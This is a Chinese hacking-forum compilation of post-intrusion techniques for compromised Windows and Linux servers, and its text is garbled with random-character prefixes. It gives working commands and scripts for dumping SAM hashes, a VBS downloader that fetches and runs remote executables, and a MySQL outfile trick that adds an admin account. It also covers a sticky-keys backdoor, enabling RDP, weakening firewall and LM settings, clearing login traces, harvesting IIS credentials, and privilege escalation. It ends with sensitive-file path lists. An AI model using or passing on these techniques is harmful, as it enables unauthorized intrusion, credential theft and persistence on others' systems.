* uid=1001(argp) gid=1001(argp) groups=1001(argp)
* [argp@julius ~]$ gcc -Wall nfs_mount_ex.c -o nfs_mount_ex
- `. C+ S9 G9 v3 N* [argp@julius ~]$ ./nfs_mount_ex
) T$ Q3 b2 l" v+ ^* J6 a% Q( w% X*
calling nmount()

（注：本文原件由0x童鞋收集整理，感谢0x童鞋，本人补充和优化了点，本文毫无逻辑可言，因为是想到什么就写了，大家见谅）
1 j0 {6 s  W% L, W# N, \——————————————
感谢T00LS的童鞋们踊跃交流，让我学到许多经验，为了方便其他童鞋浏览，将T00LS的童鞋们补充的贴在下面，同时我也会以后将自己的一些想法跟新在后面。
————————————————————————————
5 v5 O% y6 s! k  k  r4 G1、tar打包            tar -cvf /home/public_html/*.tar /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
alzip打包(韩国) alzip -a D:\WEB\ d:\web\*.rar
{
注：
关于tar的打包方式,linux不以扩展名来决定文件类型。
若压缩的话tar -ztf *.tar.gz   查看压缩包里内容     tar -zxf *.tar.gz 解压
那么用这条比较好 tar -czf /home/public_html/*.tar.gz /home/public_html/--exclude= 排除文件*.gif   排除目录 /xx/xx/*
}  
! _7 w7 V4 S% C. C
提权先执行systeminfo
* L1 h# p8 e+ g& x7 }token 漏洞补丁号 KB956572
$ I5 o) i+ @: @# h6 D6 H+ zChurrasco          kb952004
4 z, c, _9 r* d% `# o+ _. K! w命令行RAR打包~~·
rar a -k -r -s -m3 c:\1.rar c:\folder
——————————————
2、收集系统信息的脚本  
& ~4 o; [" E2 C7 n- e5 Z. W6 Xfor window：

@echo off
echo #########system info collection
. }) G# Y: h! J6 b4 bsysteminfo
, N% t# r# b5 over
8 w! \. X/ S4 ?+ N8 K9 @hostname
) v& `  u1 b" y+ F8 h$ A+ m. t1 dnet user
; r; Y% P$ F4 v. u2 c" Vnet localgroup
net localgroup administrators
net user guest
+ ^3 e7 S# l- J4 |1 ?net user administrator

, b) e) c$ z  c& n- A; f0 Uecho #######at- with   atq#####
echo schtask /query

echo
; s/ ~9 L' m7 B) necho ####task-list#############
& i# N: n# x: U9 S$ ttasklist /svc
& z( u% y+ K2 R/ `# ^echo
7 ^, f6 n+ `5 Necho ####net-work infomation
1 m& B8 p- X  D. U+ Z' B, d4 l8 ~/ pipconfig/all
9 b9 t; u% p" P4 ?% d) T$ Droute print
* H, I6 Z" |7 B" g; }# Tarp -a
; J. C* F* D! u/ dnetstat -anipconfig /displaydns
echo
4 @5 I9 N9 _+ t) N/ G4 I6 Hecho #######service############
8 G$ P( I: R- g$ R4 f2 c& J  hsc query type= service state= all
9 a- i! j5 @0 d6 g' \0 Zecho #######file-##############
cd \
  W# x' K+ y' @- _7 ~( btree -F
3 n/ u* |# F" a0 Y: s" {for linux：
- v3 R1 {( y& ^
#!/bin/bash
) i5 y2 a$ W) _; d. X. |1 q. S7 }9 [
+ u/ m, ^! {6 h+ h6 @" u; ^6 {echo #######geting sysinfo####
+ J9 }$ ^! |5 s% uecho ######usage: ./getinfo.sh >/tmp/sysinfo.txt
echo #######basic infomation##
cat /proc/meminfo
& v% q# W+ h, w# Y, N) Oecho
cat /proc/cpuinfo
echo
2 ?. L5 F% S& O5 ^* krpm -qa 2>/dev/null
######stole the mail......######
cp -a /var/mail /tmp/getmail 2>/dev/null


echo 'u'r id is' `id`
1 e6 `. p& t0 e" I9 [echo ###atq&crontab#####
atq
crontab -l
echo #####about var#####
set

echo #####about network###
####this is then point in pentest,but i am a new bird,so u need to add some in it
cat /etc/hosts
, P7 T, \5 u& j0 L! P2 {! Zhostname
. z9 ^3 X/ H3 P3 \ipconfig -a
# ~" i* A+ e- u3 y! _2 {arp -v
echo ########user####
cat /etc/passwd|grep -i sh
" t' \9 T. O. k4 x: c
5 i3 u1 O' u! j2 O% g$ Recho ######service####
; ^" K7 b4 @- M" Y) @2 Mchkconfig --list
! ]" @5 R  o0 M( O6 o5 @% d
for i in {oracle,mysql,tomcat,samba,apache,ftp}
6 x6 I3 S6 v$ ?; C- J( E+ ?3 Ncat /etc/passwd|grep -i $i
- n  m# A# K/ X2 a' Z/ U, cdone

locate passwd >/tmp/password 2>/dev/null
sleep 5
( r! l8 f$ B. i9 T3 f5 v' m; Ulocate password >>/tmp/password 2>/dev/null
+ h: j1 M& P5 _+ `! t. qsleep 5
locate conf >/tmp/sysconfig 2>dev/null
sleep 5
locate config >>/tmp/sysconfig 2>/dev/null
sleep 5
/ O0 x3 x7 P, \. H. p
###maybe can use "tree /"###
echo ##packing up#########
; b, i, i" u& ~/ ~. v, |% [, _tar cvf getsysinfo.tar /tmp/getmail /tmp/password /tmp/sysconfig
9 j+ h0 F4 M7 x' R1 vrm -rf /tmp/getmail /tmp/password /tmp/sysconfig
——————————————
3、ethash 不免杀怎么获取本机hash。
3 \. r  v# o2 _. D首先导出注册表 regedit /e d:\aa.reg "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users"   （2000）
; Z" }7 g% j* R               reg export "HKEY_LOCAL_MACHINE\SAM\SAM\Domains\Account\Users" d:\aa.reg  （2003）
4 @7 j: d6 a' W注意权限问题，一般注册表默认sam目录是不能访问的。需要设置为完全控制以后才可以访问（界面登录的需要注意，system权限可以忽略）
接下来就简单了，把导出的注册表，down 到本机，修改注册表头导入本机，然后用抓去hash的工具抓本地用户就OK了
; D! f# E3 P6 P- ~. ?( {5 @. qhash 抓完了记得把自己的账户密码改过来哦！
据我所知，某人是用这个方法虚拟机多次因为不知道密码而进不去！~
' M4 y/ ]+ J, j5 D2 `" y6 h——————————————
, _: s, Q3 E1 v+ P4、vbs 下载者
! o. _& e% _) Q1
echo Set sGet = createObject("ADODB.Stream") >>c:\windows\cftmon.vbs
4 G& g5 t+ _# i4 k+ B' qecho sGet.Mode = 3 >>c:\windows\cftmon.vbs
4 l6 k- t. Z( H2 lecho sGet.Type = 1 >>c:\windows\cftmon.vbs
echo sGet.Open() >>c:\windows\cftmon.vbs
- {5 A9 F0 N9 T- l! Xecho sGet.Write(xPost.responseBody) >>c:\windows\cftmon.vbs
echo sGet.SaveToFile "c:\windows\e.exe",2 >>c:\windows\cftmon.vbs
5 Q, ?6 q$ p* w) H. Hecho Set objShell = CreateObject("Wscript.Shell") >>c:\windows\cftmon.vbs
echo objshell.run """c:\windows\e.exe""" >>c:\windows\cftmon.vbs
cftmon.vbs

" k. x. L6 ~, J5 k6 A2
7 ?8 w9 o7 G4 J5 g' \On Error Resume Nextim iRemote,iLocal,s1,s2
iLocal = LCase(WScript.Arguments(1)):iRemote = LCase(WScript.Arguments(0))  
+ ~& t/ z- p* W  k- `$ zs1="Mi"+"cro"+"soft"+"."+"XML"+"HTTP":s2="ADO"+"DB"+"."+"Stream"
) B7 n. F1 p1 s0 a+ r) B+ F; [Set xPost = CreateObject(s1):xPost.Open "GET",iRemote,0:xPost.Send()
- A: ~8 }! p0 P! nSet sGet = CreateObject(s2):sGet.Mode=3:sGet.Type=1:sGet.Open()
sGet.Write(xPost.responseBody):sGet.SaveToFile iLocal,2
" u* K. t3 |: P  u  D
% t0 D  U& `8 S) ucscript c:\down.vbs http://xxxx/mm.exe c:\mm.exe
; i& I( q  C1 W: Z# d
当GetHashes获取不到hash时，可以用兵刃把sam复制到桌面
——————————————————
5、
1.查询终端端口
REG query HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber
1 k% |. Q( R) W% c& j* O' x2.开启XP&2003终端服务
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
3.更改终端端口为2008(0x7d8)
: Z" c. i3 p6 R, q& mREG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\Wds\rdpwd\Tds\tcp /v PortNumber /t REG_DWORD /d 0x7d8 /f
: P' T! N! G/ ]) |REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server\WinStations\RDP-Tcp /v PortNumber /t REG_DWORD /d 0x7D8 /f
4.取消xp&2003系统防火墙对终端服务的限制及IP连接的限制
3 c! r" N) X) cREG ADD HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List /v 3389:TCP /t REG_SZ /d 3389:TCP:*:Enabled   xpsp2res.dll,-22009 /f
————————————————
6、create table a (cmd text);
, h  ?) f7 i3 Qinsert into a values ("set wshshell=createobject (""wscript.shell"")");
insert into a values ("a=wshshell.run (""cmd.exe /c net user admin admin /add"",0)");
insert into a values ("b=wshshell.run (""cmd.exe /c net localgroup administrators admin /add"",0)");  
0 A, _2 T/ D1 jselect * from a into outfile "C:\\Documents and Settings\\All Users\\「开始」菜单\\程序\\启动\\a.vbs";
————————————————————
7、BS马的PortMap功能，类似LCX做转发。若果支持ASPX，用这个转发会隐蔽点。（注：一直忽略了在偏僻角落的那个功能）
8 e9 F2 C8 v1 J" F: p" m- l_____
8、for /d %i in (d:\freehost\*) do @echo %i

6 g5 X2 ]2 n) _+ ~列出d的所有目录
3 c! U0 F: P% T* k/ J  
* B; t# J* I8 r2 k2 |  for /d %i in (???) do @echo %i

把当前路径下文件夹的名字只有1-3个字母的打出来
9 u7 G) v" l5 I; x
2.for /r %i in (*.exe) do @echo %i
* P# `. a) g4 Q  
以当前目录为搜索路径.会把目录与下面的子目录的全部EXE文件列出

for /r f:\freehost\hmadesign\web\ %i in (*.*) do @echo %i
/ }/ H7 a3 }/ t* ?* R+ \
8 A( X6 M- |% h' z8 H- ?3.for /f %i in (c:\1.txt) do echo %i
  
  //这个会显示a.txt里面的内容，因为/f的作用，会读出a.txt中
& C+ p2 t6 s5 J; [: G+ E
) g  O( L+ t0 N8 M4.for /f "tokens=2 delims= " %i in (a.txt) do echo %i
4 A) s5 O% h$ U" g5 z
* P( M2 F! W, a& n# O9 V- y  delims=后的空格是分隔符 tokens是取第几个位置
——————————
●注册表:
6 k" H" U/ D9 U% l! {* h. o$ q4 K1.Administrator注册表备份:
reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\1f4.reg

+ [+ |- x% n  r7 |2.修改3389的默认端口:
9 F8 q3 H- P4 g* z2 k) @( `8 zHKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp
: R# V( M, @, S+ C" j8 c修改PortNumber.

& ~( c' e2 {/ {  L" W3.清除3389登录记录:
% D, W: X! z7 p# x6 C7 v  ]' f) nreg delete "HKCU\Software\Microsoft\Terminal Server Client"  /f
3 R' S* L1 p9 ?: d/ D6 t; b1 P7 d8 G
4.Radmin密码:
reg export HKLM\SYSTEM\RAdmin c:\a.reg
1 O5 c9 r/ ]. [) ]1 ?
2 R& R2 m+ n3 \5.禁用TCP/IP端口筛选(需重启):
REG ADD HKLM\SYSTEM\ControlSet001\Services\Tcpip\parameters /v EnableSecurityFilters /t REG_DWORD /d 0 /f

6.IPSec默认免除项88端口(需重启):
, `# u- ]2 }) y/ Breg add HKLM\SYSTEM\CurrentControlSet\Services\IPSEC /v NoDefaultExempt /t REG_DWORD /d 0 /f
/ V0 p' d; a" n; E或者
netsh ipsec dynamic set config ipsecexempt value=0
9 h# f, E" I7 y1 `  Y; ^
/ }! [) C3 q, B" q" n9 W7.停止指派策略"myipsec":
netsh ipsec static set policy name="myipsec" assign=n
8 d! S( L$ f) N
8.系统口令恢复LM加密:
reg add HKLM\SYSTEM\CurrentControlSet\Control\Lsa /v LMCompatibilityLevel /t REG_DWORD /d 0 /f

+ y6 {3 }; Z. e% S2 m- h- e9.另类方法抓系统密码HASH
reg save hklm\sam c:\sam.hive
8 n1 j6 w+ q: P: e. F, Hreg save hklm\system c:\system.hive
1 ?1 V+ Q2 Q4 @+ t6 @' Sreg save hklm\security c:\security.hive
" N  S. a- I, @+ y  i  E/ p$ w
10.shift映像劫持
0 J0 K3 h1 l* S; g- i, G" S* x4 g: }reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /v debugger /t REG_sz /d cmd.exe

reg delete "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f
. R+ G, f2 S0 }7 i* A-----------------------------------
星外vbs(注：测试通过，好东西）
Set ObjService=GetObject("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
childObjectName=replace(obj3w.AdsPath,Left(obj3w.Adspath,22),"")
- h# @$ ~% O! q; d- b9 Pif IsNumeric(childObjectName)=true then
set IIs=objservice.GetObject("IIsWebServer",childObjectName)
% I- P4 ~% ?, m) A+ u/ n5 fif err.number<>0 then
exit for
msgbox("error!")
0 B  [) Y: b3 {) n1 twscript.quit
end if
serverbindings=IIS.serverBindings
ServerComment=iis.servercomment
9 i0 D! J6 D, l) _set IISweb=iis.getobject("IIsWebVirtualDir","Root")
! v. T% o8 x) K: ouser=iisweb.AnonymousUserName
0 |! h) ~& a* W2 Upass=iisweb.AnonymousUserPass
path=IIsWeb.path
, \# Q' C6 @: x* b' P' xlist=list&servercomment&" "&user&" "&pass&" "&join(serverBindings,",")&" "&path& vbCrLf & vbCrLf
$ f) I' p4 `' @7 j3 t4 Mend if
; |) Q) `# Z; h: `3 i3 m9 MNext
wscript.echo list
Set ObjService=Nothing
& a5 x. Q8 g! L( W( U7 s: v$ X. ]wscript.echo "from : http://www.xxx.com/" &vbTab&vbCrLf
7 I  v" }8 |- H1 C& S/ ~WScript.Quit
复制代码
----------------------2011新气象，欢迎各位补充、指正、优化。----------------
1、Firefox的利用(主要用于内网渗透），火狐浏览器的密码储存在C:\Documents and Settings\Administrator\Application Data\Mozilla\Firefox\Profiles\文件夹，打包后，本地查看。或有很多惊喜~
2、win2k的htt提权（注：仅适合2k以及以下版本，文件夹不限,只读权限即可)
将folder.htt文件，加入以下代码：
1 Z& P3 G+ Q& h<OBJECT ID=RUNIT WIDTH=0 HEIGHT=0 TYPE="application/x-oleobject" CODEBASE="cmd.exe">
9 K: m, S# M. u$ ~; K+ [; b1 y5 v0 V</OBJECT>
( r5 A2 @2 n& d4 w0 x6 R复制代码
然后与desktop.ini、cmd.exe同一个文件夹。当管理打开该文件夹时即可运行。
PS：我N年前在邪八讨论过XP下htt提权，由于N年前happy蠕虫的缘故，2K以后都没有folder.htt文件，但是xp下的htt自运行各位大牛给个力~
asp代码，利用的时候会出现登录问题
原因是ASP大马里有这样的代码：（没有就没事儿了）
url=request.severvariables("url")
) j& P% X* K, V# u# R' N 这里显示接收到的参数是通过URL来传递的，也就是说登录大马的时候服务器会解析b.asp，于是就出现了问题。
解决方法
6 M' C$ K% P) F9 A" P* M4 p url=request.severvariables("path_info")
path_info可以直接呈现虚拟路径 顺利解析gif大马
- h/ X; O) T7 O, O  Z* p" a! [
# H3 o  U! f6 J" w0 s/ s==============================================================
! y! w& Z7 N. m  LLINUX常见路径：

/etc/passwd
4 W4 Y, C. U9 K8 V- E8 I- G# X0 p/etc/shadow
/etc/fstab
" e$ f. J0 S7 \  O) ?) v) d4 y( H/etc/host.conf
6 x) e! q2 t4 Q/ J/etc/motd
/etc/ld.so.conf
( B' }8 t3 a6 g/var/www/htdocs/index.php
! u" d) k; l8 {1 E" y- ?7 ]/var/www/conf/httpd.conf
- O! ]0 v# o6 u/var/www/htdocs/index.html
/var/httpd/conf/php.ini
/var/httpd/htdocs/index.php
/var/httpd/conf/httpd.conf
/var/httpd/htdocs/index.html
& ]4 ~8 P3 L0 m. w/var/httpd/conf/php.ini
/var/www/index.html
; A4 m# l4 U1 D  p0 |/var/www/index.php
- ~! B" c1 m9 L% }* M: m/opt/www/conf/httpd.conf
/opt/www/htdocs/index.php
9 E- Z4 i( a! c6 j& F/opt/www/htdocs/index.html
5 f1 G, a4 R3 z5 A4 x" e1 E& H; \/usr/local/apache/htdocs/index.html
/usr/local/apache/htdocs/index.php
/usr/local/apache2/htdocs/index.html
9 Q4 Q% a* G% b0 |/usr/local/apache2/htdocs/index.php
/usr/local/httpd2.2/htdocs/index.php
* g  F8 w1 f# q; a) C2 K/usr/local/httpd2.2/htdocs/index.html
/tmp/apache/htdocs/index.html
0 u/ A" N3 `; q. f/ S, t6 C% n/tmp/apache/htdocs/index.php
/etc/httpd/htdocs/index.php
/etc/httpd/conf/httpd.conf
/etc/httpd/htdocs/index.html
/www/php/php.ini
. y; r9 k9 D2 \7 W) Z/www/php4/php.ini
8 G! C* l7 Q  o3 u: a4 y8 [% X& h/www/php5/php.ini
" y+ ]5 Z5 S" z0 {3 I/www/conf/httpd.conf
* a; T6 @3 p# y! [' a$ i! a* k" l/www/htdocs/index.php
2 }. N6 |1 T, V/www/htdocs/index.html
/usr/local/httpd/conf/httpd.conf
: P% s1 n' X3 v! l6 M/ \/apache/apache/conf/httpd.conf
/apache/apache2/conf/httpd.conf
' C! d: R& x0 `" h3 v/etc/apache/apache.conf
# T( P( ?0 K% }$ f3 Q/etc/apache2/apache.conf
, n9 j6 ?& X' `4 j/etc/apache/httpd.conf
; L# C. |- b% F" m( W. u) o- W4 V/etc/apache2/httpd.conf
) _/ N" h( c4 f: W* I/etc/apache2/vhosts.d/00_default_vhost.conf
7 t: a+ u% X- {9 T/etc/apache2/sites-available/default
/etc/phpmyadmin/config.inc.php
; H9 G4 ~, \1 I# x/etc/mysql/my.cnf
/etc/httpd/conf.d/php.conf
7 G. C9 T# v* a; J8 K( D/etc/httpd/conf.d/httpd.conf
+ c8 e/ Q+ j2 A; B( O+ x- m/ ~% G/etc/httpd/logs/error_log
' x! A' ?$ l$ J+ E6 ~/ n/etc/httpd/logs/error.log
3 C$ H" o8 f/ I$ y0 C/ }6 Y/etc/httpd/logs/access_log
/etc/httpd/logs/access.log
/home/apache/conf/httpd.conf
5 Q7 d0 ~# Q4 d! [& q3 u/ }/home/apache2/conf/httpd.conf
1 O/ G1 e+ f( x! q' J/var/log/apache/error_log
; {$ H7 \5 p. a/var/log/apache/error.log
/var/log/apache/access_log
4 U  A8 ?8 \/ A& U8 M$ T/var/log/apache/access.log
5 v, u) ~4 d# R+ h/var/log/apache2/error_log
6 {$ I  ~3 Q4 `1 n/var/log/apache2/error.log
/var/log/apache2/access_log
+ B* h$ r5 V7 N9 _% T/var/log/apache2/access.log
) Q" L% n+ `' b) P1 O3 E/var/www/logs/error_log
/var/www/logs/error.log
/var/www/logs/access_log
/var/www/logs/access.log
/usr/local/apache/logs/error_log
1 h3 I; W9 }' D# |9 h+ k3 h/usr/local/apache/logs/error.log
/usr/local/apache/logs/access_log
3 k6 H& I; i/ c" o2 F  K/usr/local/apache/logs/access.log
; t# X  C' e' H/var/log/error_log
* X: e7 i6 E4 ?! M/var/log/error.log
/var/log/access_log
) [8 Q0 Z/ b* z. a7 M: L/ y/var/log/access.log
/usr/local/apache/logs/access_logaccess_log.old
+ c/ f. Q+ M; s! ~, ]4 p/usr/local/apache/logs/error_logerror_log.old
6 r' a3 f+ P; I/etc/php.ini
/bin/php.ini
: r* }5 R5 x1 E8 x/etc/init.d/httpd
( A4 J, O" E4 B( K. f8 a/etc/init.d/mysql
% s7 W+ m, |! F' E, E3 ?' ^/etc/httpd/php.ini
/usr/lib/php.ini
/usr/lib/php/php.ini
$ N% c& `; B/ N5 o0 `9 s/usr/local/etc/php.ini
/usr/local/lib/php.ini
/usr/local/php/lib/php.ini
. B& z+ d& v" |; I. w7 W* r/ a/usr/local/php4/lib/php.ini
/usr/local/php4/php.ini
/usr/local/php4/lib/php.ini
/usr/local/php5/lib/php.ini
/usr/local/php5/etc/php.ini
/usr/local/php5/php5.ini
/usr/local/apache/conf/php.ini
2 v; i, F) {4 }+ v9 y/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache2/conf/php.ini
: q$ |5 w8 y- |5 m7 t/etc/php4.4/fcgi/php.ini
7 F8 ?. [6 w8 i" a  q* E/etc/php4/apache/php.ini
  p  g/ o2 \; a/etc/php4/apache2/php.ini
/etc/php5/apache/php.ini
4 U8 O1 s+ v  l/etc/php5/apache2/php.ini
. o& Q, D! L% X# e/etc/php/php.ini
/etc/php/php4/php.ini
+ s: Z- B0 _, B* U/etc/php/apache/php.ini
  @, ~. W/ q2 V/ o0 H7 i9 F/etc/php/apache2/php.ini
/web/conf/php.ini
/ \1 M) G( F! B2 q( o/usr/local/Zend/etc/php.ini
0 E8 c) b  v2 m5 J% a. P. N! R/opt/xampp/etc/php.ini
/var/local/www/conf/php.ini
  }, p6 O8 i  e2 e8 _/var/local/www/conf/httpd.conf
/etc/php/cgi/php.ini
( z' D8 U/ {2 D( K+ P/ H/etc/php4/cgi/php.ini
/etc/php5/cgi/php.ini
/php5/php.ini
/php4/php.ini
/php/php.ini
/PHP/php.ini
/apache/php/php.ini
$ j1 O" F5 [: h+ f" x, p/ G/xampp/apache/bin/php.ini
. D& O3 [! N3 Z! _( l+ o  x" n/xampp/apache/conf/httpd.conf
/NetServer/bin/stable/apache/php.ini
8 H. P$ w4 w# e/ C: o! x( S" j/home2/bin/stable/apache/php.ini
/home/bin/stable/apache/php.ini
" H, W) q( M+ Q. D* [: r/var/log/mysql/mysql-bin.log
9 _1 i- _" ^3 F/var/log/mysql.log
/var/log/mysqlderror.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/mysql.log
/var/lib/mysql/my.cnf
1 K, F+ L; P* U3 z$ f8 t. U( B/usr/local/mysql/my.cnf
/ ]  _1 |( y% j# \! o) w8 b& G/usr/local/mysql/bin/mysql
/etc/mysql/my.cnf
/etc/my.cnf
* z! n4 Z( ]7 Q- P) q6 [/usr/local/cpanel/logs
/usr/local/cpanel/logs/stats_log
/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
1 k& Q1 V, x3 `% t8 L- T1 O4 U# v/usr/local/cpanel/logs/login_log
' X- ^! N$ o$ v3 ~- M/usr/local/cpanel/logs/stats_log
/usr/local/share/examples/php4/php.ini
/usr/local/share/examples/php/php.ini
! V& c: i- ]! n' @( G+ ]
- U* D5 V& S1 |- C6 W2..windows常见路径（可以将c盘换成d,e盘,比如星外虚拟主机跟华众得,一般都放在d盘）

c:\windows\php.ini
9 p0 J( x+ ]2 [- U. b5 `c:\boot.ini
) S- J3 r% ]& u: `# z3 Hc:\1.txt
c:\a.txt
+ q9 o4 g4 W; V# |; E' ]& M
c:\CMailServer\config.ini
c:\CMailServer\CMailServer.exe
( ]# v/ N, E  I5 [" n+ x0 l& yc:\CMailServer\WebMail\index.asp
$ G7 Q/ p# b+ D+ I0 ic:\program files\CMailServer\CMailServer.exe
c:\program files\CMailServer\WebMail\index.asp
C:\WinWebMail\SysInfo.ini
C:\WinWebMail\Web\default.asp
C:\WINDOWS\FreeHost32.dll
7 m* }1 o( V2 X1 f" ~C:\WINDOWS\7i24iislog4.exe
# K' ~8 _$ M# j7 Q  rC:\WINDOWS\7i24tool.exe

c:\hzhost\databases\url.asp

c:\hzhost\hzclient.exe
  n' Y# I( R9 _. f) L/ gC:\Documents and Settings\All Users\「开始」菜单\程序\7i24虚拟主机管理平台\自动设置[受控端].lnk

4 g3 R' |  F0 u* G/ S! ZC:\Documents and Settings\All Users\「开始」菜单\程序\Serv-U\Serv-U Administrator.lnk
3 \' {1 f" z6 L' t% }% q" i; QC:\WINDOWS\web.config
c:\web\index.html
c:\www\index.html
" O8 F7 O% |) B3 C9 X# `, R4 cc:\WWWROOT\index.html
' m( e8 d( y/ y) m* }. n* {5 z; Hc:\website\index.html
6 T8 ^, v- r/ v  i. m6 D9 ic:\web\index.asp
2 l; H; p% o' L' P, o& jc:\www\index.asp
c:\wwwsite\index.asp
c:\WWWROOT\index.asp
2 v% i  \( k$ gc:\web\index.php
c:\www\index.php
2 U  e7 c- P& kc:\WWWROOT\index.php
5 x1 I" }3 P# cc:\WWWsite\index.php
; h% S5 e& k9 ]c:\web\default.html
% Y, l* p" X  `) j6 w5 Uc:\www\default.html
' S* b1 U2 v  _% uc:\WWWROOT\default.html
c:\website\default.html
c:\web\default.asp
c:\www\default.asp
7 S5 T* H6 P- l( Oc:\wwwsite\default.asp
c:\WWWROOT\default.asp
/ Y, [! B! t& R% z; r6 P& N' W8 K! uc:\web\default.php
c:\www\default.php
4 ?: s( _3 V$ V7 t: V1 K" M2 Fc:\WWWROOT\default.php
c:\WWWsite\default.php
C:\Inetpub\wwwroot\pagerror.gif
* ^4 @1 X* |1 J& m0 q: h2 Nc:\windows\notepad.exe
% y% ^' C; n0 m0 L$ p" V* p$ Gc:\winnt\notepad.exe
% D; D5 i" \% p2 d* z0 k  XC:\Program Files\Microsoft Office\OFFICE10\winword.exe
0 t. [' s4 U2 C$ qC:\Program Files\Microsoft Office\OFFICE11\winword.exe
$ ~( D+ ~; m, @2 J, z4 I. _C:\Program Files\Microsoft Office\OFFICE12\winword.exe
7 \/ ]5 o1 O) o3 Y4 uC:\Program Files\Internet Explorer\IEXPLORE.EXE
C:\Program Files\winrar\rar.exe
3 D1 W! Z4 D8 M  Y' _4 {( EC:\Program Files\360\360Safe\360safe.exe
C:\Program Files\360Safe\360safe.exe
C:\Documents and Settings\Administrator\Application Data\360Safe\360Examine\360Examine.log
' M, t. K( d' j$ z- k) Z4 Dc:\ravbin\store.ini
3 u$ I( z$ W! a% [! _, u# xc:\rising.ini
7 J9 Q3 V  W: X3 W7 `  YC:\Program Files\Rising\Rav\RsTask.xml
! k; A# x/ ]! x5 `C:\Documents and Settings\All Users\Start Menu\desktop.ini
( X( O8 d2 k$ m* x# a/ fC:\Documents and Settings\Administrator\My Documents\Default.rdp
C:\Documents and Settings\Administrator\Cookies\index.dat
% j2 v9 x4 T, A: Z- XC:\Documents and Settings\Administrator\My Documents\新建 文本文档.txt
C:\Documents and Settings\Administrator\桌面\新建 文本文档.txt
. S. z  k3 l$ t. t# c5 NC:\Documents and Settings\Administrator\My Documents\1.txt
2 _) @2 q0 ]9 a; J, H2 G- c5 qC:\Documents and Settings\Administrator\桌面\1.txt
C:\Documents and Settings\Administrator\My Documents\a.txt
7 H; o# ?" K2 P$ K6 f6 i% j9 rC:\Documents and Settings\Administrator\桌面\a.txt
C:\Documents and Settings\All Users\Documents\My Pictures\Sample Pictures\Blue hills.jpg
E:\Inetpub\wwwroot\aspnet_client\system_web\1_1_4322\SmartNav.htm
C:\Program Files\RhinoSoft.com\Serv-U\Version.txt
C:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini
! Z9 M3 x* w& J& d' ZC:\Program Files\Symantec\SYMEVENT.INF
C:\Program Files\Microsoft SQL Server\80\Tools\Binn\sqlmangr.exe
5 F0 t9 k# N9 SC:\Program Files\Microsoft SQL Server\MSSQL\Data\master.mdf
+ Q4 ~% b8 {) P2 g4 OC:\Program Files\Microsoft SQL Server\MSSQL.1\MSSQL\Data\master.mdf
. ]. G- q1 g0 h9 E4 Q9 LC:\Program Files\Microsoft SQL Server\MSSQL.2\MSSQL\Data\master.mdf
C:\Program Files\Microsoft SQL Server\80\Tools\HTML\database.htm
C:\Program Files\Microsoft SQL Server\MSSQL\README.TXT
/ b: B' l$ w. `, g% |& Y6 ]C:\Program Files\Microsoft SQL Server\90\Tools\Bin\DdsShapes.dll
C:\Program Files\Microsoft SQL Server\MSSQL\sqlsunin.ini
C:\MySQL\MySQL Server 5.0\my.ini
% @5 Y8 R. q9 x0 P# yC:\Program Files\MySQL\MySQL Server 5.0\my.ini
; J+ o' |9 p$ V) Y0 EC:\Program Files\MySQL\MySQL Server 5.0\data\mysql\user.frm
C:\Program Files\MySQL\MySQL Server 5.0\COPYING
0 U4 V7 K# |% ~% L5 W6 \C:\Program Files\MySQL\MySQL Server 5.0\share\mysql_fix_privilege_tables.sql
7 B% R* ~& h3 o) l* vC:\Program Files\MySQL\MySQL Server 4.1\bin\mysql.exe
7 [0 y0 O  o2 W: \% P+ x! b% Zc:\MySQL\MySQL Server 4.1\bin\mysql.exe
c:\MySQL\MySQL Server 4.1\data\mysql\user.frm
C:\Program Files\Oracle\oraconfig\Lpk.dll
C:\WINDOWS\Microsoft.NET\Framework\v2.0.50727\aspnet_state.exe
C:\WINDOWS\system32\inetsrv\w3wp.exe
C:\WINDOWS\system32\inetsrv\inetinfo.exe
  Z0 f# Z6 h- S3 |. _* s% nC:\WINDOWS\system32\inetsrv\MetaBase.xml
C:\WINDOWS\system32\inetsrv\iisadmpwd\achg.asp
& s4 w& G4 p1 u# XC:\WINDOWS\system32\config\default.LOG
- S( u% {) F  U2 p$ IC:\WINDOWS\system32\config\sam
C:\WINDOWS\system32\config\system
5 y* U0 V: l; c* t) Sc:\CMailServer\config.ini
c:\program files\CMailServer\config.ini
+ i3 g% q, q' }) M' G% z4 Pc:\tomcat6\tomcat6\bin\version.sh
c:\tomcat6\bin\version.sh
( R7 b6 l2 E4 t+ a  Wc:\tomcat\bin\version.sh
c:\program files\tomcat6\bin\version.sh
4 S, h, U3 K( l4 X( |C:\Program Files\Apache Software Foundation\Tomcat 6.0\bin\version.sh
c:\Program Files\Apache Software Foundation\Tomcat 6.0\logs\isapi_redirect.log
& ?6 f2 `. z* C, S0 Mc:\Apache2\Apache2\bin\Apache.exe
c:\Apache2\bin\Apache.exe
1 p$ _( |, U, v0 @c:\Apache2\php\license.txt
- @1 f7 L9 i; z* b6 U) Q9 u  t8 `C:\Program Files\Apache Group\Apache2\bin\Apache.exe
/usr/local/tomcat5527/bin/version.sh
. V5 D0 w/ y5 `$ o* Z, P8 w/usr/share/tomcat6/bin/startup.sh
/usr/tomcat6/bin/startup.sh
# Y0 g1 e$ H9 i! t* Sc:\Program Files\QQ2007\qq.exe
8 C$ _0 t# b5 [) r  {  E1 \c:\Program Files\Tencent\qq\User.db
